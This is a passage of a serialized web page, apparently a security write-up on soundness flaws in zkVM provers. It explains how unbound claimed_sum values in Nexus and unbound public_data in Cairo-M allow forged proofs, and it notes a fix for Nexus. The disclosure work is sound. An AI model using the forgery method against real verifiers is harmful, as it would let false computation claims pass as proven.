pe":21,"tag":198,"props":117616,"children":117618},{"className":117617},[4822],[117619,117623,117773],{"type":21,"tag":198,"props":117620,"children":117622},{"className":117621},[22510,113947],[],{"type":21,"tag":198,"props":117624,"children":117626},{"className":117625},[113952],[117627],{"type":21,"tag":198,"props":117628,"children":117630},{"className":117629},[4842,22435],[117631,117762],{"type":21,"tag":198,"props":117632,"children":117634},{"className":117633},[4847],[117635,117757],{"type":21,"tag":198,"props":117636,"children":117638},{"className":117637,"style":113965},[4852],[117639,117726,117737],{"type":21,"tag":198,"props":117640,"children":117641},{"style":113969},[117642,117646],{"type":21,"tag":198,"props":117643,"children":117645},{"className":117644,"style":112600},[4861],[],{"type":21,"tag":198,"props":117647,"children":117649},{"className":117648},[4867,4868,4869,4870],[117650],{"type":21,"tag":198,"props":117651,"children":117653},{"className":117652},[4822,4870],[117654,117659,117664],{"type":21,"tag":198,"props":117655,"children":117657},{"className":117656,"style":113986},[4822,22381,4870],[117658],{"type":27,"value":113989},{"type":21,"tag":198,"props":117660,"children":117662},{"className":117661},[4907,4870],[117663],{"type":27,"value":4881},{"type":21,"tag":198,"props":117665,"children":117667},{"className":117666},[4822,4870],[117668,117678],{"type":21,"tag":198,"props":117669,"children":117671},{"className":117670},[4822,27,4870],[117672],{"type":21,"tag":198,"props":117673,"children":117675},{"className":117674},[4822,4870],[117676],{"type":27,"value":117677},"consumed",{"type":21,"tag":198,"props":117679,"children":117681},{"className":117680},[4837],[117682],{"type":21,"tag":198,"props":117683,"children":117685},{"className":117684},[4842,22435],[117686,117715],{"type":21,"tag":198,"props":117687,"children":117689},{"className":117688},[4847],[117690,117710],{"type":21,"tag":198,"props":117691,"children":117693},{"className":117692,"style":112761},[4852],[117694],{"type":21,"tag":198,"props":117695,"children":117696},{"style":115006},[117697,117701],{"type":21,"tag":198,"props":117698,"children":117700},{"className":117699,"style":109289},[4861],[],{"type":21,"tag":198,"props":117702,"children":117704},{"className":117703},[4867,109294,109295,4870],[117705],{"type":21,"tag":198,"props":117706,"children":117708},{"className":117707,"style":94858},[4822,22381,4870],[117709],{"type":27,"value":89066},{"type":21,"tag":198,"props":117711,"children":117713},{"className":117712},[22538],[117714],{"type":27,"value":22541},{"type":21,"tag":198,"props":117716,"children":117718},{"className":117717},[4847],[117719],{"type":21,"tag":198,"props":117720,"children":117722},{"className":117721,"style":115033},[4852],[117723],{"type":21,"tag":198,"props":117724,"children":117725},{},[],{"type":21,"tag":198,"props":117727,"children":117728},{"style":114002},[117729,117733],{"type":21,"tag":198,"props":117730,"children":117732},{"className":117731,"style":112600},[4861],[],{"type":21,"tag":198,"props":117734,"children":117736},{"className":117735,"style":114012},[114011],[],{"type":21,"tag":198,"props":117738,"children":117739},{"style":114016},[117740,117744],{"type":21,"tag":198,"props":117741,"children":117743},{"className":117742,"style":112600},[4861],[],{"type":21,"tag":198,"props":117745,"children":117747},{"className":117746},[4867,4868,4869,4870],[117748],{"type":21,"tag":198,"props":117749,"children":117751},{"className":117750},[4822,4870],[117752],{"type":21,"tag":198,"props":117753,"children":117755},{"className":117754},[4822,4870],[117756],{"type":27,"value":134},{"type":21,"tag":198,"props":117758,"children":117760},{"className":117759},[22538],[117761],{"type":27,"value":22541},{"type":21,"tag":198,"props":117763,"children":117765},{"className":117764},[4847],[117766],{"type":21,"tag":198,"props":117767,"children":117769},{"className":117768,"style":115081},[4852],[117770],{"type":21,"tag":198,"props":117771,"children":117772},{},[],{"type":21,"tag":198,"props":117774,"children":117776},{"className":117775},[22532,113947],[],{"type":21,"tag":30,"props":117778,"children":117779},{},[117780,117782,117787],{"type":27,"value":117781},"All ",{"type":21,"tag":194,"props":117783,"children":117785},{"className":117784},[],[117786],{"type":27,"value":115293},{"type":27,"value":117788}," values must sum to zero (everything produced is consumed).",{"type":21,"tag":30,"props":117790,"children":117791},{},[117792,117794,117799],{"type":27,"value":117793},"All constraints are combined into a composition polynomial. The verifier then checks this polynomial at a random point outside the execution domain, known as an ",{"type":21,"tag":6137,"props":117795,"children":117796},{},[117797],{"type":27,"value":117798},"OODS (Out-of-Domain Sampling)",{"type":27,"value":117800}," test.",{"type":21,"tag":30,"props":117802,"children":117803},{},[117804],{"type":21,"tag":6137,"props":117805,"children":117806},{},[117807],{"type":27,"value":115845},{"type":21,"tag":187,"props":117809,"children":117811},{"code":117810},"NexusProof {\n stark_proof: {\n commitments: [Merkle roots of trace columns]\n sampled_values: [polynomial evaluations]\n fri_proof: [low-degree test proof]\n }\n claimed_sum: [FieldElement; NUM_COMPONENTS] // \u003C- VULNERABLE\n log_size: [component sizes]\n}\n",[117812],{"type":21,"tag":194,"props":117813,"children":117814},{"__ignoreMap":7},[117815],{"type":27,"value":117810},{"type":21,"tag":30,"props":117817,"children":117818},{},[117819,117821,117826],{"type":27,"value":117820},"The",{"type":21,"tag":194,"props":117822,"children":117824},{"className":117823},[],[117825],{"type":27,"value":115293},{"type":27,"value":117827}," values are checked to be of correct length, that they sum to zero, and are used in the final composition polynomial. But at no point were they absorbed into the transcript.",{"type":21,"tag":30,"props":117829,"children":117830},{},[117831],{"type":21,"tag":1376,"props":117832,"children":117835},{"alt":117833,"src":117834},"6_nexus_flow","/posts/zkvms-unfaithful-claims/6_nexus_flow.svg",[],{"type":21,"tag":30,"props":117837,"children":117838},{},[117839,117841,117850],{"type":27,"value":117840},"The OODS check computes the composition polynomial, which includes logup boundary constraints. These constraints are ",{"type":21,"tag":6137,"props":117842,"children":117843},{},[117844,117845],{"type":27,"value":112300},{"type":21,"tag":194,"props":117846,"children":117848},{"className":117847},[],[117849],{"type":27,"value":115293},{"type":27,"value":185},{"type":21,"tag":30,"props":117852,"children":117853},{},[117854],{"type":27,"value":117855},"The composition polynomial is a random linear combination of constraints:",{"type":21,"tag":30,"props":117857,"children":117858},{},[117859],{"type":21,"tag":194,"props":117860,"children":117862},{"className":117861},[4794,4795],[117863],{"type":21,"tag":198,"props":117864,"children":117866},{"className":117865},[4800],[117867],{"type":21,"tag":198,"props":117868,"children":117870},{"className":117869,"ariaHidden":4806},[4805],[117871,117912,118051],{"type":21,"tag":198,"props":117872,"children":117874},{"className":117873},[4811],[117875,117879,117884,117889,117894,117899,117903,117908],{"type":21,"tag":198,"props":117876,"children":117878},{"className":117877,"style":4922},[4816],[],{"type":21,"tag":198,"props":117880,"children":117882},{"className":117881,"style":22913},[4822,22381],[117883],{"type":27,"value":116658},{"type":21,"tag":198,"props":117885,"children":117887},{"className":117886},[22510],[117888],{"type":27,"value":706},{"type":21,"tag":198,"props":117890,"children":117892},{"className":117891},[4822,22381],[117893],{"type":27,"value":20070},{"type":21,"tag":198,"props":117895,"children":117897},{"className":117896},[22532],[117898],{"type":27,"value":2109},{"type":21,"tag":198,"props":117900,"children":117902},{"className":117901,"style":4998},[4901],[],{"type":21,"tag":198,"props":117904,"children":117906},{"className":117905},[5003],[117907],{"type":27,"value":3174},{"type":21,"tag":198,"props":117909,"children":117911},{"className":117910,"style":4998},[4901],[],{"type":21,"tag":198,"props":117913,"children":117915},{"className":117914},[4811],[117916,117920,117977,117981,118038,118042,118047],{"type":21,"tag":198,"props":117917,"children":117919},{"className":117918,"style":116062},[4816],[],{"type":21,"tag":198,"props":117921,"children":117923},{"className":117922},[22417],[117924,117929],{"type":21,"tag":198,"props":117925,"children":117927},{"className":117926,"style":22424},[22417,22422,22423],[117928],{"type":27,"value":109224},{"type":21,"tag":198,"props":117930,"children":117932},{"className":117931},[4837],[117933],{"type":21,"tag":198,"props":117934,"children":117936},{"className":117935},[4842,22435],[117937,117966],{"type":21,"tag":198,"props":117938,"children":117940},{"className":117939},[4847],[117941,117961],{"type":21,"tag":198,"props":117942,"children":117944},{"className":117943,"style":114636},[4852],[117945],{"type":21,"tag":198,"props":117946,"children":117947},{"style":22448},[117948,117952],{"type":21,"tag":198,"props":117949,"children":117951},{"className":117950,"style":4862},[4861],[],{"type":21,"tag":198,"props":117953,"children":117955},{"className":117954},[4867,4868,4869,4870],[117956],{"type":21,"tag":198,"props":117957,"children":117959},{"className":117958},[4822,22381,4870],[117960],{"type":27,"value":4544},{"type":21,"tag":198,"props":117962,"children":117964},{"className":117963},[22538],[117965],{"type":27,"value":22541},{"type":21,"tag":198,"props":117967,"children":117969},{"className":117968},[4847],[117970],{"type":21,"tag":198,"props":117971,"children":117973},{"className":117972,"style":114916},[4852],[117974],{"type":21,"tag":198,"props":117975,"children":117976},{},[],{"type":21,"tag":198,"props":117978,"children":117980},{"className":117979,"style":4939},[4901],[],{"type":21,"tag":198,"props":117982,"children":117984},{"className":117983},[4822],[117985,117990],{"type":21,"tag":198,"props":117986,"children":117988},{"className":117987,"style":115517},[4822,22381],[117989],{"type":27,"value":115520},{"type":21,"tag":198,"props":117991,"children":117993},{"className":117992},[4837],[117994],{"type":21,"tag":198,"props":117995,"children":117997},{"className":117996},[4842,22435],[117998,118027],{"type":21,"tag":198,"props":117999,"children":118001},{"className":118000},[4847],[118002,118022],{"type":21,"tag":198,"props":118003,"children":118005},{"className":118004,"style":93958},[4852],[118006],{"type":21,"tag":198,"props":118007,"children":118008},{"style":116152},[118009,118013],{"type":21,"tag":198,"props":118010,"children":118012},{"className":118011,"style":4862},[4861],[],{"type":21,"tag":198,"props":118014,"children":118016},{"className":118015},[4867,4868,4869,4870],[118017],{"type":21,"tag":198,"props":118018,"children":118020},{"className":118019},[4822,22381,4870],[118021],{"type":27,"value":4544},{"type":21,"tag":198,"props":118023,"children":118025},{"className":118024},[22538],[118026],{"type":27,"value":22541},{"type":21,"tag":198,"props":118028,"children":118030},{"className":118029},[4847],[118031],{"type":21,"tag":198,"props":118032,"children":118034},{"className":118033,"style":93512},[4852],[118035],{"type":21,"tag":198,"props":118036,"children":118037},{},[],{"type":21,"tag":198,"props":118039,"children":118041},{"className":118040,"style":4902},[4901],[],{"type":21,"tag":198,"props":118043,"children":118045},{"className":118044},[4907],[118046],{"type":27,"value":111691},{"type":21,"tag":198,"props":118048,"children":118050},{"className":118049,"style":4902},[4901],[],{"type":21,"tag":198,"props":118052,"children":118054},{"className":118053},[4811],[118055,118059,118121,118126,118131],{"type":21,"tag":198,"props":118056,"children":118058},{"className":118057,"style":4922},[4816],[],{"type":21,"tag":198,"props":118060,"children":118062},{"className":118061},[4822],[118063,118073],{"type":21,"tag":198,"props":118064,"children":118066},{"className":118065},[4822,27],[118067],{"type":21,"tag":198,"props":118068,"children":118070},{"className":118069},[4822],[118071],{"type":27,"value":118072},"constraint",{"type":21,"tag":198,"props":118074,"children":118076},{"className":118075},[4837],[118077],{"type":21,"tag":198,"props":118078,"children":118080},{"className":118079},[4842,22435],[118081,118110],{"type":21,"tag":198,"props":118082,"children":118084},{"className":118083},[4847],[118085,118105],{"type":21,"tag":198,"props":118086,"children":118088},{"className":118087,"style":93958},[4852],[118089],{"type":21,"tag":198,"props":118090,"children":118091},{"style":114559},[118092,118096],{"type":21,"tag":198,"props":118093,"children":118095},{"className":118094,"style":4862},[4861],[],{"type":21,"tag":198,"props":118097,"children":118099},{"className":118098},[4867,4868,4869,4870],[118100],{"type":21,"tag":198,"props":118101,"children":118103},{"className":118102},[4822,22381,4870],[118104],{"type":27,"value":4544},{"type":21,"tag":198,"props":118106,"children":118108},{"className":118107},[22538],[118109],{"type":27,"value":22541},{"type":21,"tag":198,"props":118111,"children":118113},{"className":118112},[4847],[118114],{"type":21,"tag":198,"props":118115,"children":118117},{"className":118116,"style":93512},[4852],[118118],{"type":21,"tag":198,"props":118119,"children":118120},{},[],{"type":21,"tag":198,"props":118122,"children":118124},{"className":118123},[22510],[118125],{"type":27,"value":706},{"type":21,"tag":198,"props":118127,"children":118129},{"className":118128},[4822,22381],[118130],{"type":27,"value":20070},{"type":21,"tag":198,"props":118132,"children":118134},{"className":118133},[22532],[118135],{"type":27,"value":2109},{"type":21,"tag":30,"props":118137,"children":118138},{},[118139,118141,118146,118148,118153],{"type":27,"value":118140},"Since each constraint is linear in its ",{"type":21,"tag":194,"props":118142,"children":118144},{"className":118143},[],[118145],{"type":27,"value":115293},{"type":27,"value":118147},", the overall composition polynomial is linear in all ",{"type":21,"tag":194,"props":118149,"children":118151},{"className":118150},[],[118152],{"type":27,"value":115293},{"type":27,"value":118154}," values.",{"type":21,"tag":30,"props":118156,"children":118157},{},[118158,118160],{"type":27,"value":118159},"The verifier checks ",{"type":21,"tag":194,"props":118161,"children":118163},{"className":118162},[4794,4795],[118164],{"type":21,"tag":198,"props":118165,"children":118167},{"className":118166},[4800],[118168],{"type":21,"tag":198,"props":118169,"children":118171},{"className":118170,"ariaHidden":4806},[4805],[118172,118233],{"type":21,"tag":198,"props":118173,"children":118175},{"className":118174},[4811],[118176,118180,118185,118190,118200,118205,118215,118220,118224,118229],{"type":21,"tag":198,"props":118177,"children":118179},{"className":118178,"style":93371},[4816],[],{"type":21,"tag":198,"props":118181,"children":118183},{"className":118182,"style":22913},[4822,22381],[118184],{"type":27,"value":116658},{"type":21,"tag":198,"props":118186,"children":118188},{"className":118187},[22510],[118189],{"type":27,"value":706},{"type":21,"tag":198,"props":118191,"children":118193},{"className":118192},[4822,27],[118194],{"type":21,"tag":198,"props":118195,"children":118197},{"className":118196},[4822],[118198],{"type":27,"value":118199},"oods",{"type":21,"tag":198,"props":118201,"children":118203},{"className":118202,"style":93429},[4822],[118204],{"type":27,"value":3891},{"type":21,"tag":198,"props":118206,"children":118208},{"className":118207},[4822,27],[118209],{"type":21,"tag":198,"props":118210,"children":118212},{"className":118211},[4822],[118213],{"type":27,"value":118214},"point",{"type":21,"tag":198,"props":118216,"children":118218},{"className":118217},[22532],[118219],{"type":27,"value":2109},{"type":21,"tag":198,"props":118221,"children":118223},{"className":118222,"style":4998},[4901],[],{"type":21,"tag":198,"props":118225,"children":118227},{"className":118226},[5003],[118228],{"type":27,"value":3174},{"type":21,"tag":198,"props":118230,"children":118232},{"className":118231,"style":4998},[4901],[],{"type":21,"tag":198,"props":118234,"children":118236},{"className":118235},[4811],[118237,118241],{"type":21,"tag":198,"props":118238,"children":118240},{"className":118239,"style":115484},[4816],[],{"type":21,"tag":198,"props":118242,"children":118244},{"className":118243},[4822,27],[118245],{"type":21,"tag":198,"props":118246,"children":118248},{"className":118247},[4822],[118249],{"type":27,"value":116983},{"type":21,"tag":30,"props":118251,"children":118252},{},[118253,118255,118260,118262,118267],{"type":27,"value":118254},"With ",{"type":21,"tag":194,"props":118256,"children":118258},{"className":118257},[],[118259],{"type":27,"value":115293},{"type":27,"value":118261}," not in transcript, the composition polynomial becomes a linear function of the ",{"type":21,"tag":194,"props":118263,"children":118265},{"className":118264},[],[118266],{"type":27,"value":115293},{"type":27,"value":118268}," values. Combined with the constraint that claimed sums must sum to zero, this is a small linear system that is easily solvable.",{"type":21,"tag":30,"props":118270,"children":118271},{},[118272,118276,118278],{"type":21,"tag":6137,"props":118273,"children":118274},{},[118275],{"type":27,"value":117139},{"type":27,"value":118277}," Fixed on October 24, 2025 via ",{"type":21,"tag":34,"props":118279,"children":118282},{"href":118280,"rel":118281},"https://github.com/nexus-xyz/nexus-zkvm/pull/503",[38],[118283],{"type":27,"value":118284},"PR #503",{"type":21,"tag":19590,"props":118286,"children":118287},{},[],{"type":21,"tag":59,"props":118289,"children":118291},{"id":118290},"cairo-m-kakarot-labs",[118292],{"type":27,"value":118293},"Cairo-M (Kakarot Labs)",{"type":21,"tag":30,"props":118295,"children":118296},{},[118297],{"type":27,"value":118298},"Cairo-M, built by Kakarot Labs, is an alternative proof system for the Cairo VM (used by Starknet).",{"type":21,"tag":30,"props":118300,"children":118301},{},[118302],{"type":27,"value":118303},"Cairo-M is in many ways similar to Nexus. It uses logup to prove global statements about the execution.",{"type":21,"tag":30,"props":118305,"children":118306},{},[118307],{"type":21,"tag":6137,"props":118308,"children":118309},{},[118310],{"type":27,"value":115845},{"type":21,"tag":187,"props":118312,"children":118314},{"code":118313},"Proof {\n claim: ComponentSizes,\n interaction_claim: LogupClaimsPerComponent,\n public_data: { // \u003C- VULNERABLE\n initial_registers: { pc, fp },\n final_registers: { pc, fp }, // \u003C- forged\n clock, // \u003C- forged\n initial_root, \n final_root, // \u003C- forged\n public_memory: { program, input, output }, //output modified\n },\n stark_proof: [...],\n}\n",[118315],{"type":21,"tag":194,"props":118316,"children":118317},{"__ignoreMap":7},[118318],{"type":27,"value":118313},{"type":21,"tag":30,"props":118320,"children":118321},{},[118322],{"type":21,"tag":6137,"props":118323,"children":118324},{},[118325],{"type":27,"value":115861},{"type":21,"tag":30,"props":118327,"children":118328},{},[118329],{"type":21,"tag":1376,"props":118330,"children":118333},{"alt":118331,"src":118332},"7_cairo_m_verification","/posts/zkvms-unfaithful-claims/7_cairo_m_verification.svg",[],{"type":21,"tag":30,"props":118335,"children":118336},{},[118337,118339,118345],{"type":27,"value":118338},"Lookup challenges are derived without ",{"type":21,"tag":194,"props":118340,"children":118342},{"className":118341},[],[118343],{"type":27,"value":118344},"public_data",{"type":27,"value":118346}," being mixed into the transcript.",{"type":21,"tag":30,"props":118348,"children":118349},{},[118350,118351,118356,118358,118363],{"type":27,"value":534},{"type":21,"tag":194,"props":118352,"children":118354},{"className":118353},[],[118355],{"type":27,"value":118344},{"type":27,"value":118357}," (program I/O, boundary registers, memory roots) enters the lookup relations inside ",{"type":21,"tag":1671,"props":118359,"children":118360},{},[118361],{"type":27,"value":118362},"denominators",{"type":27,"value":118364}," through challenge-weighted encodings of tuples. Abstractly, the verifier checks a relation of the form:",{"type":21,"tag":30,"props":118366,"children":118367},{},[118368],{"type":21,"tag":194,"props":118369,"children":118371},{"className":118370},[4794,4795],[118372],{"type":21,"tag":198,"props":118373,"children":118375},{"className":118374},[4800],[118376],{"type":21,"tag":198,"props":118377,"children":118379},{"className":118378,"ariaHidden":4806},[4805],[118380,118440,118486,118532],{"type":21,"tag":198,"props":118381,"children":118383},{"className":118382},[4811],[118384,118388,118394,118399,118408,118413,118422,118427,118431,118436],{"type":21,"tag":198,"props":118385,"children":118387},{"className":118386,"style":93371},[4816],[],{"type":21,"tag":198,"props":118389,"children":118391},{"className":118390},[4822,22381],[118392],{"type":27,"value":118393},"L",{"type":21,"tag":198,"props":118395,"children":118397},{"className":118396},[22510],[118398],{"type":27,"value":706},{"type":21,"tag":198,"props":118400,"children":118402},{"className":118401},[4822,27],[118403],{"type":21,"tag":198,"props":118404,"children":118406},{"className":118405},[4822],[118407],{"type":27,"value":62053},{"type":21,"tag":198,"props":118409,"children":118411},{"className":118410,"style":93429},[4822],[118412],{"type":27,"value":3891},{"type":21,"tag":198,"props":118414,"children":118416},{"className":118415},[4822,27],[118417],{"type":21,"tag":198,"props":118418,"children":118420},{"className":118419},[4822],[118421],{"type":27,"value":4508},{"type":21,"tag":198,"props":118423,"children":118425},{"className":118424},[22532],[118426],{"type":27,"value":2109},{"type":21,"tag":198,"props":118428,"children":118430},{"className":118429,"style":4902},[4901],[],{"type":21,"tag":198,"props":118432,"children":118434},{"className":118433},[4907],[118435],{"type":27,"value":5193},{"type":21,"tag":198,"props":118437,"children":118439},{"className":118438,"style":4902},[4901],[],{"type":21,"tag":198,"props":118441,"children":118443},{"className":118442},[4811],[118444,118448,118458,118463,118473,118477,118482],{"type":21,"tag":198,"props":118445,"children":118447},{"className":118446,"style":93371},[4816],[],{"type":21,"tag":198,"props":118449,"children":118451},{"className":118450},[4822,27],[118452],{"type":21,"tag":198,"props":118453,"children":118455},{"className":118454},[4822],[118456],{"type":27,"value":118457},"(other transcript",{"type":21,"tag":198,"props":118459,"children":118461},{"className":118460,"style":93429},[4822],[118462],{"type":27,"value":3891},{"type":21,"tag":198,"props":118464,"children":118466},{"className":118465},[4822,27],[118467],{"type":21,"tag":198,"props":118468,"children":118470},{"className":118469},[4822],[118471],{"type":27,"value":118472},"bound terms)",{"type":21,"tag":198,"props":118474,"children":118476},{"className":118475,"style":4998},[4901],[],{"type":21,"tag":198,"props":118478,"children":118480},{"className":118479},[5003],[118481],{"type":27,"value":3174},{"type":21,"tag":198,"props":118483,"children":118485},{"className":118484,"style":4998},[4901],[],{"type":21,"tag":198,"props":118487,"children":118489},{"className":118488},[4811],[118490,118495,118500,118505,118510,118514,118519,118523,118528],{"type":21,"tag":198,"props":118491,"children":118494},{"className":118492,"style":118493},[4816],"height:0.8778em;vertical-align:-0.1944em;",[],{"type":21,"tag":198,"props":118496,"children":118498},{"className":118497},[4822],[118499],{"type":27,"value":3482},{"type":21,"tag":198,"props":118501,"children":118503},{"className":118502},[4933],[118504],{"type":27,"value":2205},{"type":21,"tag":198,"props":118506,"children":118509},{"className":118507,"style":118508},[4901],"margin-right:2em;",[],{"type":21,"tag":198,"props":118511,"children":118513},{"className":118512,"style":4939},[4901],[],{"type":21,"tag":198,"props":118515,"children":118517},{"className":118516},[4822,22381],[118518],{"type":27,"value":118393},{"type":21,"tag":198,"props":118520,"children":118522},{"className":118521,"style":4998},[4901],[],{"type":21,"tag":198,"props":118524,"children":118526},{"className":118525},[5003],[118527],{"type":27,"value":3174},{"type":21,"tag":198,"props":118529,"children":118531},{"className":118530,"style":4998},[4901],[],{"type":21,"tag":198,"props":118533,"children":118535},{"className":118534},[4811],[118536,118541,118598,118602,118820],{"type":21,"tag":198,"props":118537,"children":118540},{"className":118538,"style":118539},[4816],"height:1.4071em;vertical-align:-0.562em;",[],{"type":21,"tag":198,"props":118542,"children":118544},{"className":118543},[22417],[118545,118550],{"type":21,"tag":198,"props":118546,"children":118548},{"className":118547,"style":22424},[22417,22422,22423],[118549],{"type":27,"value":109224},{"type":21,"tag":198,"props":118551,"children":118553},{"className":118552},[4837],[118554],{"type":21,"tag":198,"props":118555,"children":118557},{"className":118556},[4842,22435],[118558,118587],{"type":21,"tag":198,"props":118559,"children":118561},{"className":118560},[4847],[118562,118582],{"type":21,"tag":198,"props":118563,"children":118565},{"className":118564,"style":114636},[4852],[118566],{"type":21,"tag":198,"props":118567,"children":118568},{"style":22448},[118569,118573],{"type":21,"tag":198,"props":118570,"children":118572},{"className":118571,"style":4862},[4861],[],{"type":21,"tag":198,"props":118574,"children":118576},{"className":118575},[4867,4868,4869,4870],[118577],{"type":21,"tag":198,"props":118578,"children":118580},{"className":118579},[4822,22381,4870],[118581],{"type":27,"value":4544},{"type":21,"tag":198,"props":118583,"children":118585},{"className":118584},[22538],[118586],{"type":27,"value":22541},{"type":21,"tag":198,"props":118588,"children":118590},{"className":118589},[4847],[118591],{"type":21,"tag":198,"props":118592,"children":118594},{"className":118593,"style":114916},[4852],[118595],{"type":21,"tag":198,"props":118596,"children":118597},{},[],{"type":21,"tag":198,"props":118599,"children":118601},{"className":118600,"style":4939},[4901],[],{"type":21,"tag":198,"props":118603,"children":118605},{"className":118604},[4822],[118606,118610,118816],{"type":21,"tag":198,"props":118607,"children":118609},{"className":118608},[22510,113947],[],{"type":21,"tag":198,"props":118611,"children":118613},{"className":118612},[113952],[118614],{"type":21,"tag":198,"props":118615,"children":118617},{"className":118616},[4842,22435],[118618,118804],{"type":21,"tag":198,"props":118619,"children":118621},{"className":118620},[4847],[118622,118799],{"type":21,"tag":198,"props":118623,"children":118625},{"className":118624,"style":113965},[4852],[118626,118768,118779],{"type":21,"tag":198,"props":118627,"children":118628},{"style":113969},[118629,118633],{"type":21,"tag":198,"props":118630,"children":118632},{"className":118631,"style":112600},[4861],[],{"type":21,"tag":198,"props":118634,"children":118636},{"className":118635},[4867,4868,4869,4870],[118637],{"type":21,"tag":198,"props":118638,"children":118640},{"className":118639},[4822,4870],[118641,118646,118651,118657,118662,118667,118724,118729,118738,118743,118752,118758,118763],{"type":21,"tag":198,"props":118642,"children":118644},{"className":118643,"style":113986},[4822,22381,4870],[118645],{"type":27,"value":113989},{"type":21,"tag":198,"props":118647,"children":118649},{"className":118648},[4907,4870],[118650],{"type":27,"value":5193},{"type":21,"tag":198,"props":118652,"children":118654},{"className":118653},[22510,4870],[118655],{"type":27,"value":118656},"⟨",{"type":21,"tag":198,"props":118658,"children":118660},{"className":118659,"style":115517},[4822,22381,4870],[118661],{"type":27,"value":115520},{"type":21,"tag":198,"props":118663,"children":118665},{"className":118664},[4933,4870],[118666],{"type":27,"value":2205},{"type":21,"tag":198,"props":118668,"children":118670},{"className":118669},[4822,4870],[118671,118676],{"type":21,"tag":198,"props":118672,"children":118674},{"className":118673},[4822,22381,4870],[118675],{"type":27,"value":22523},{"type":21,"tag":198,"props":118677,"children":118679},{"className":118678},[4837],[118680],{"type":21,"tag":198,"props":118681,"children":118683},{"className":118682},[4842,22435],[118684,118713],{"type":21,"tag":198,"props":118685,"children":118687},{"className":118686},[4847],[118688,118708],{"type":21,"tag":198,"props":118689,"children":118691},{"className":118690,"style":114753},[4852],[118692],{"type":21,"tag":198,"props":118693,"children":118694},{"style":109284},[118695,118699],{"type":21,"tag":198,"props":118696,"children":118698},{"className":118697,"style":109289},[4861],[],{"type":21,"tag":198,"props":118700,"children":118702},{"className":118701},[4867,109294,109295,4870],[118703],{"type":21,"tag":198,"props":118704,"children":118706},{"className":118705},[4822,22381,4870],[118707],{"type":27,"value":4544},{"type":21,"tag":198,"props":118709,"children":118711},{"className":118710},[22538],[118712],{"type":27,"value":22541},{"type":21,"tag":198,"props":118714,"children":118716},{"className":118715},[4847],[118717],{"type":21,"tag":198,"props":118718,"children":118720},{"className":118719,"style":109314},[4852],[118721],{"type":21,"tag":198,"props":118722,"children":118723},{},[],{"type":21,"tag":198,"props":118725,"children":118727},{"className":118726},[22510,4870],[118728],{"type":27,"value":706},{"type":21,"tag":198,"props":118730,"children":118732},{"className":118731},[4822,27,4870],[118733],{"type":21,"tag":198,"props":118734,"children":118736},{"className":118735},[4822,4870],[118737],{"type":27,"value":62053},{"type":21,"tag":198,"props":118739,"children":118741},{"className":118740,"style":93429},[4822,4870],[118742],{"type":27,"value":3891},{"type":21,"tag":198,"props":118744,"children":118746},{"className":118745},[4822,27,4870],[118747],{"type":21,"tag":198,"props":118748,"children":118750},{"className":118749},[4822,4870],[118751],{"type":27,"value":4508},{"type":21,"tag":198,"props":118753,"children":118755},{"className":118754},[22532,4870],[118756],{"type":27,"value":118757},")⟩",{"type":21,"tag":198,"props":118759,"children":118761},{"className":118760},[4907,4870],[118762],{"type":27,"value":5193},{"type":21,"tag":198,"props":118764,"children":118766},{"className":118765,"style":115572},[4822,22381,4870],[118767],{"type":27,"value":115575},{"type":21,"tag":198,"props":118769,"children":118770},{"style":114002},[118771,118775],{"type":21,"tag":198,"props":118772,"children":118774},{"className":118773,"style":112600},[4861],[],{"type":21,"tag":198,"props":118776,"children":118778},{"className":118777,"style":114012},[114011],[],{"type":21,"tag":198,"props":118780,"children":118781},{"style":114016},[118782,118786],{"type":21,"tag":198,"props":118783,"children":118785},{"className":118784,"style":112600},[4861],[],{"type":21,"tag":198,"props":118787,"children":118789},{"className":118788},[4867,4868,4869,4870],[118790],{"type":21,"tag":198,"props":118791,"children":118793},{"className":118792},[4822,4870],[118794],{"type":21,"tag":198,"props":118795,"children":118797},{"className":118796},[4822,4870],[118798],{"type":27,"value":134},{"type":21,"tag":198,"props":118800,"children":118802},{"className":118801},[22538],[118803],{"type":27,"value":22541},{"type":21,"tag":198,"props":118805,"children":118807},{"className":118806},[4847],[118808],{"type":21,"tag":198,"props":118809,"children":118812},{"className":118810,"style":118811},[4852],"height:0.562em;",[118813],{"type":21,"tag":198,"props":118814,"children":118815},{},[],{"type":21,"tag":198,"props":118817,"children":118819},{"className":118818},[22532,113947],[],{"type":21,"tag":198,"props":118821,"children":118823},{"className":118822},[4822],[118824],{"type":27,"value":658},{"type":21,"tag":30,"props":118826,"children":118827},{},[118828,118830],{"type":27,"value":118829},"The global check is then that ",{"type":21,"tag":194,"props":118831,"children":118833},{"className":118832},[4794,4795],[118834],{"type":21,"tag":198,"props":118835,"children":118837},{"className":118836},[4800],[118838],{"type":21,"tag":198,"props":118839,"children":118841},{"className":118840,"ariaHidden":4806},[4805],[118842,118883,118914],{"type":21,"tag":198,"props":118843,"children":118845},{"className":118844},[4811],[118846,118850,118855,118860,118865,118870,118874,118879],{"type":21,"tag":198,"props":118847,"children":118849},{"className":118848,"style":4922},[4816],[],{"type":21,"tag":198,"props":118851,"children":118853},{"className":118852},[4822,22381],[118854],{"type":27,"value":118393},{"type":21,"tag":198,"props":118856,"children":118858},{"className":118857},[22510],[118859],{"type":27,"value":706},{"type":21,"tag":198,"props":118861,"children":118863},{"className":118862},[4822,22381],[118864],{"type":27,"value":30},{"type":21,"tag":198,"props":118866,"children":118868},{"className":118867},[22532],[118869],{"type":27,"value":2109},{"type":21,"tag":198,"props":118871,"children":118873},{"className":118872,"style":4902},[4901],[],{"type":21,"tag":198,"props":118875,"children":118877},{"className":118876},[4907],[118878],{"type":27,"value":5193},{"type":21,"tag":198,"props":118880,"children":118882},{"className":118881,"style":4902},[4901],[],{"type":21,"tag":198,"props":118884,"children":118886},{"className":118885},[4811],[118887,118891,118901,118905,118910],{"type":21,"tag":198,"props":118888,"children":118890},{"className":118889,"style":4922},[4816],[],{"type":21,"tag":198,"props":118892,"children":118894},{"className":118893},[4822,27],[118895],{"type":21,"tag":198,"props":118896,"children":118898},{"className":118897},[4822],[118899],{"type":27,"value":118900},"(other 